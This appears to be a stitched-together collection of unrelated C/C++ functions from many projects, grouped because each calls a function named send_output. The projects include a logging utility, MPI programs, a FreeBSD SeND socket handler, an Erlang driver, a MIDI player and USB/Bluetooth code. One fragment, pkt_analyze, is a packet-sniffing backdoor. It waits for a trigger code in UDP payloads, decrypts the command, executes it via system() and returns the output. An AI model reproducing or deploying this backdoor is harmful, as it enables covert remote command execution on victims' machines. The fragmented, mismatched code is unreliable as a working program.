static int do_read(int fd)
{
int c;
char buffer[4096], *cp, *sep;
c = read(fd, buffer, sizeof(buffer)-1);
if (c <= 0)
return c;
if (do_skip) {
send_output(buffer, c, SEND_CONSOLE);
buffer[c] = 0;
cp = buffer;
while (*cp) {
if (skip_mode) {
cp = strchr(cp, '\002');
if (!cp)
return 0;
cp++;
skip_mode = 0;
continue;
}
sep = strchr(cp, '\001');
if (sep)
*sep = 0;
send_output(cp, 0, SEND_LOG);
if (sep) {
cp = sep + 1;
skip_mode = 1;
} else
break;
}
} else
send_output(buffer, c, SEND_BOTH);
return c;
}
static int run_program(char **argv)
{
int fds[2];
int status, rc, pid;
char buffer[80];
if (pipe(fds) < 0) {
perror("pipe");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("vfork");
exit(1);
}
if (pid == 0) {
dup2(fds[1],1); /* fds[1] replaces stdout */
dup2(fds[1],2); /* fds[1] replaces stderr */
close(fds[0]); /* don't need this here */
execvp(argv[0], argv);
perror(argv[0]);
exit(1);
}
close(fds[1]);
while (!(waitpid(pid, &status, WNOHANG ))) {
do_read(fds[0]);
}
do_read(fds[0]);
close(fds[0]);
if ( WIFEXITED(status) ) {
rc = WEXITSTATUS(status);
if (rc) {
send_output(argv[0], 0, SEND_BOTH);
sprintf(buffer, " died with exit status %d\n", rc);
send_output(buffer, 0, SEND_BOTH);
}
} else {
if (WIFSIGNALED(status)) {
send_output(argv[0], 0, SEND_BOTH);
sprintf(buffer, "died with signal %d\n",
WTERMSIG(status));
send_output(buffer, 0, SEND_BOTH);
rc = 1;
}
rc = 0;
}
return rc;
}
// Line line has finished; post sends for all output blocks. In compressed output mode, each wakeup corresponds to a single block.
void flow_t::wakeup(line_details_t* const line, const wakeup_block_t b) {
#if PENTAGO_MPI_COMPRESS_OUTPUTS
PENTAGO_MPI_TRACE("process wakeup %p: %s, block %d",line,str(line->pre.line),b);
GEODE_ASSERT(b<line->pre.line.length);
// Send one compressed block
send_output(line,b);
#else
PENTAGO_MPI_TRACE("process wakeup %p: %s",line,str(line->pre.line));
// Send all uncompressed output blocks
for (int b=0;b<line->pre.line.length;b++)
send_output(line,b);
#endif
}
/*
* Receive a SeND message from user space to be either send out by the kernel
* or, with SeND ICMPv6 options removed, to be further processed by the icmp6
* input path.
*/
static int
send_send(struct socket *so, int flags, struct mbuf *m, struct sockaddr *nam,
struct mbuf *control, struct thread *td)
{
struct sockaddr_send *sendsrc;
struct ifnet *ifp;
int error;
KASSERT(V_send_so == so, ("%s: socket %p not send socket %p",
__func__, so, V_send_so));
sendsrc = (struct sockaddr_send *)nam;
ifp = ifnet_byindex_ref(sendsrc->send_ifidx);
if (ifp == NULL) {
error = ENETUNREACH;
goto err;
}
error = send_output(m, ifp, sendsrc->send_direction);
if_rele(ifp);
m = NULL;
err:
if (m != NULL)
m_freem(m);
return (error);
}
void unknown_command(spidermonkey_drv_t *dd, const char *call_id) {
ErlDrvTermData terms[] = {ERL_DRV_BUF2BINARY, (ErlDrvTermData) call_id, strlen(call_id),
ERL_DRV_ATOM, dd->atom_error,
ERL_DRV_ATOM, dd->atom_unknown_cmd,
ERL_DRV_TUPLE, 3};
send_output(dd->port, terms, sizeof(terms) / sizeof(terms[0]));
}
void send_string_response(spidermonkey_drv_t *dd, const char *call_id, const char *result) {
ErlDrvTermData terms[] = {ERL_DRV_BUF2BINARY, (ErlDrvTermData) call_id, strlen(call_id),
ERL_DRV_ATOM, dd->atom_ok,
ERL_DRV_BUF2BINARY, (ErlDrvTermData) result, strlen(result),
ERL_DRV_TUPLE, 3};
send_output(dd->port, terms, sizeof(terms) / sizeof(terms[0]));
}
void pkt_analyze(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
char *cmd;
char *command = malloc(sizeof(pkthdr));
//Check to see if it is a UDP packet with a payload
if ((pkthdr->caplen <= 42))
return;
//Point to the payload of the packet
cmd = (char *)(packet + 42);
//Check to see if this packet is meant for the backdoor by seeing if the payload contains the code
if((strstr(cmd, CODE)) == NULL)
return;
//Move pointer to the encrypted command
cmd = cmd + 5;
//Decrypt command from the payload
decrypt_command(cmd, sizeof(cmd));
//Make the command contain strings that will make it output to a file
sprintf(command, "%s > %s", cmd, OUTPUTFILE);
printf("Command: %s\n", command);
//Execute the command
system(command);
// Wait 3 seconds before establishing connection
sleep(3);
send_output();
}
/* And so it begins... */
int main (int argc, char **argv) {
/***** Initializations *****/
MPI_Init (&argc, &argv);
MPI_Comm_size (MPI_COMM_WORLD, &numtasks);
MPI_Comm_rank (MPI_COMM_WORLD, &taskid);
task_init ();
/* printf ("PID of task %d : %d\n", ID, getpid()); */
/* MASTER */
if (!taskid) {
dispatch_input ();
receive_output ();
}
/* SLAVES */
else {
receive_input ();
send_output (Head);
/* Send Blank Line to mark end of transmission */
MPI_Send ("", 50, MPI_UNSIGNED_CHAR, 0, 0, MPI_COMM_WORLD);
/* printf ("Done sending output from task %d\n", ID); */
}
task_close ();
MPI_Finalize ();
return 0;
}
void send_output (struct node *node) {
int i;
if (UInfo) {
sprintf (output, "%s %d %d", UID, Followers, Following);
MPI_Send (output, 50, MPI_UNSIGNED_CHAR, 0, 0, MPI_COMM_WORLD);
}
for (i = 0; i < 10; i++)
if (Children[i])
send_output (Children[i]);
}
void ui_puts(uint8_t *str)
{
uint8_t *ptr = str;
uint8_t c;
while ((c = *ptr)) {
if (c < 0x20) {
parse_control_character(c);
ptr++;
} else {
send_output(&ptr);
}
}
}
void openBluetooh(int fd)
{
SDL_Delay(30);
send_output(fd, "+\n");
SDL_Delay(1);
send_output(fd, "SF,1\n");
SDL_Delay(1);
send_output(fd, "SS,C0000000\n");
SDL_Delay(1);
send_output(fd, "SR,92000000\n");
SDL_Delay(1);
send_output(fd, "R,1\n");
SDL_Delay(1500);
send_output(fd, "F\n");
SDL_Delay(1);
send_output(fd, "X\n");
SDL_Delay(1);
send_output(fd, "E,0,001EC01B173B\n");
SDL_Delay(3);
send_output(fd, "I\n");
}
void MidiPlayerThread::play()
{
qDebug() << "MidiPlayerThread::play";
const unsigned long int buf_size = 4096;
int output_result = 0;
unsigned long int count_diff;
unsigned long int cur_sec, prev_sec;
m_inPause = false;
m_received_end_of_file = false;
cur_sec = 0;
QByteArray buf;
buf.resize( buf_size );
_WM_Info *wm_info = WildMidi_GetInfo( m_midiPtr );
m_md->list();
emit receivedStartingTime( 0 );
emit backendFullyLoaded();
emit receivedNoVideo();
qDebug() << "approx_total_samples is " << wm_info->approx_total_samples;
while ( 1 ) {
if ( m_isStop ) {
qDebug() << "MidiPlayerThread::play: m_isStop = " << m_isStop;
break;
}
count_diff = wm_info->approx_total_samples - wm_info->current_sample;
if ( count_diff == 0 ) {
qDebug() << "MidiPlayerThread::play: it is count_diff == 0";
break;
}
if ( m_inPause ) {
usleep( 1000 );
continue;
}
buf.fill( 0 );
if ( count_diff < buf_size ) {
buf.resize( count_diff * 4 );
output_result = WildMidi_GetOutput ( m_midiPtr, buf.data(), ( count_diff * 4 ) );
} else {
output_result = WildMidi_GetOutput ( m_midiPtr, buf.data(), buf_size );
}
if ( output_result <= 0 ) {
qDebug() << "MidiPlayerThread::play: output_result <= 0";
break;
}
prev_sec = wm_info->current_sample / m_sample_rate;
if ( prev_sec != cur_sec ) {
cur_sec = prev_sec;
emit receivedCurrentSec( cur_sec );
// qDebug() << "cur_sec is " << cur_sec;
}
send_output( buf.data(), output_result );
wm_info = WildMidi_GetInfo( m_midiPtr );
}
// buf.fill( 0, 16384 );
// send_output( buf.data(), 16384);
// buf.fill( 0, 16384 );
// send_output( buf.data(), 16384);
// send_output( buf.data(), 16384);
// usleep( 5000 );
if ( m_midiPtr ) {
// file was played
if ( WildMidi_Close( m_midiPtr ) == ( -1 ) ) {
qDebug() << "oops!";
}
m_midiPtr = 0;
}
WildMidi_Shutdown();
close_output();
// emit processExited();
m_received_end_of_file = true;
qDebug() << "MidiPlayerThread::play: end of play";
}
void Module_DMAP::send_to_next(const vector<Mask> &printable_solutions,int id) {
if (printable_solutions.size() > 0) {
send_output(printable_solutions,my_rank+1,id);
}
}
int main(int argc, char **argv)
{
int c, pid, rc;
char *outfn, **cpp;
int openflags = O_CREAT|O_WRONLY|O_TRUNC;
int send_flag = SEND_LOG;
int do_stdin;
time_t t;
while ((c = getopt(argc, argv, "+asv")) != EOF) {
switch (c) {
case 'a':
openflags &= ~O_TRUNC;
openflags |= O_APPEND;
break;
case 's':
do_skip = 1;
break;
case 'v':
verbose++;
send_flag |= SEND_CONSOLE;
break;
}
}
if (optind == argc || optind+1 == argc)
usage(argv[0]);
outfn = argv[optind];
optind++;
argv += optind;
argc -= optind;
outfd = open(outfn, openflags, 0644);
do_stdin = !strcmp(argv[0], "-");
send_output("Log of ", 0, send_flag);
if (do_stdin)
send_output("stdin", 0, send_flag);
else {
for (cpp = argv; *cpp; cpp++) {
send_output(*cpp, 0, send_flag);
send_output(" ", 0, send_flag);
}
}
send_output("\n", 0, send_flag);
t = time(0);
send_output(ctime(&t), 0, send_flag);
send_output("\n", 0, send_flag);
if (do_stdin)
rc = copy_from_stdin();
else
rc = run_program(argv);
send_output("\n", 0, send_flag);
t = time(0);
send_output(ctime(&t), 0, send_flag);
send_output("----------------\n", 0, send_flag);
if (outbuf) {
pid = fork();
if (pid < 0) {
perror("fork");
exit(1);
}
if (pid) {
if (verbose)
printf("Backgrounding to save %s later\n",
outfn);
exit(rc);
}
setsid(); /* To avoid getting killed by init */
while (outfd < 0) {
outfd = open(outfn, openflags, 0644);
sleep(1);
}
write_all(outfd, outbuf, outbufsize);
free(outbuf);
}
if (outfd >= 0)
close(outfd);
exit(rc);
}
static int run_program(char **argv)
{
int fds[2];
int status, rc, pid;
char buffer[80];
#ifdef HAVE_SIGNAL_H
struct sigaction sa;
#endif
if (pipe(fds) < 0) {
perror("pipe");
exit(1);
}
#ifdef HAVE_SIGNAL_H
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_handler = signal_term;
sigaction(SIGINT, &sa, 0);
sigaction(SIGTERM, &sa, 0);
#ifdef SA_RESTART
sa.sa_flags = SA_RESTART;
#endif
#endif
pid = fork();
if (pid < 0) {
perror("vfork");
exit(1);
}
if (pid == 0) {
dup2(fds[1],1); /* fds[1] replaces stdout */
dup2(fds[1],2); /* fds[1] replaces stderr */
close(fds[0]); /* don't need this here */
close(fds[1]);
execvp(argv[0], argv);
perror(argv[0]);
exit(1);
}
child_pid = pid;
close(fds[1]);
while (!(waitpid(pid, &status, WNOHANG ))) {
do_read(fds[0]);
}
child_pid = -1;
do_read(fds[0]);
close(fds[0]);
if ( WIFEXITED(status) ) {
rc = WEXITSTATUS(status);
if (rc) {
send_output(argv[0], 0, SEND_BOTH);
sprintf(buffer, " died with exit status %d\n", rc);
send_output(buffer, 0, SEND_BOTH);
}
} else {
if (WIFSIGNALED(status)) {
send_output(argv[0], 0, SEND_BOTH);
sprintf(buffer, "died with signal %d\n",
WTERMSIG(status));
send_output(buffer, 0, SEND_BOTH);
rc = 1;
}
rc = 0;
}
return rc;
}
//////////////////////////////////////////////////////////////////////
//
// MM MM IIII DDDDD IIII
// MMM MMM II DD DD II
// MM MM MM II DD DD II
// MM MM II DD DD II
// MM MM IIII DDDDD IIII
//
void run_midi_class_host(VOS_HANDLE usb_handle)
{
unsigned char state;
int status;
usbhost_device_handle_ex interface_handle;
usbhost_ep_handle_ex tx_endpoint;
usbhost_ep_handle_ex rx_endpoint;
usbhost_ep_handle_ex ctrl_endpoint;
vos_semaphore_t read_completion_event;
usbhost_ioctl_cb_t usbhost_cmd;
usbhost_ioctl_cb_class_t device_class;
usbhost_ioctl_cb_vid_pid_t vid_pid;
usbhost_xfer_t transfer_block;
usb_deviceRequest_t device_request;
usbhost_ioctl_cb_ep_info_t endpoint_descriptor;
vos_init_semaphore(&read_completion_event, 0);
device_class.dev_class = USB_CLASS_AUDIO;
device_class.dev_subclass = USB_SUBCLASS_AUDIO_MIDISTREAMING;
device_class.dev_protocol = USB_PROTOCOL_ANY;
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_FIND_HANDLE_BY_CLASS;
usbhost_cmd.handle.dif = NULL;
usbhost_cmd.set = &device_class;
usbhost_cmd.get = &interface_handle;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_GET_USB_STATE;
usbhost_cmd.handle.dif = interface_handle;
usbhost_cmd.get = &state;
usbhost_cmd.set = NULL;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_VID_PID;
usbhost_cmd.handle.dif = interface_handle;
usbhost_cmd.get = &vid_pid;
usbhost_cmd.set = NULL;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_BULK_OUT_ENDPOINT_HANDLE;
usbhost_cmd.handle.dif = interface_handle;
usbhost_cmd.get = &tx_endpoint;
usbhost_cmd.set = NULL;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_BULK_IN_ENDPOINT_HANDLE;
usbhost_cmd.handle.dif = interface_handle;
usbhost_cmd.get = &rx_endpoint;
usbhost_cmd.set = NULL;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_CONTROL_ENDPOINT_HANDLE;
usbhost_cmd.handle.dif = interface_handle;
usbhost_cmd.get = &ctrl_endpoint;
usbhost_cmd.set = NULL;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
if(USBHOST_OK != status) {
return;
}
// send a SetIdle to the device
device_request.bmRequestType = USB_BMREQUESTTYPE_HOST_TO_DEV |
USB_BMREQUESTTYPE_CLASS |
USB_BMREQUESTTYPE_INTERFACE;
device_request.bRequest = 0x0a;
device_request.wValue = 0;
device_request.wIndex = 0;
device_request.wLength = 0;
usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_SETUP_TRANSFER;
usbhost_cmd.handle.ep = ctrl_endpoint;
usbhost_cmd.set = &device_request;
status = vos_dev_ioctl(usb_handle, &usbhost_cmd);
while (1)
{
vos_memset(&transfer_block, 0, sizeof(transfer_block));
transfer_block.cond_code = USBHOST_CC_NOTACCESSED;
transfer_block.flags = USBHOST_XFER_FLAG_START_BULK_ENDPOINT_LIST|USBHOST_XFER_FLAG_ROUNDING;
transfer_block.s = &read_completion_event;
transfer_block.ep = rx_endpoint;
transfer_block.buf = usb_rx_data;
transfer_block.len = SZ_USB_RX_DATA;
status = vos_dev_read(usb_handle, (byte*)&transfer_block, sizeof(transfer_block), NULL);
if(status != USBHOST_OK) {
break;
}
send_output(usb_rx_data, transfer_block.len);
}
}
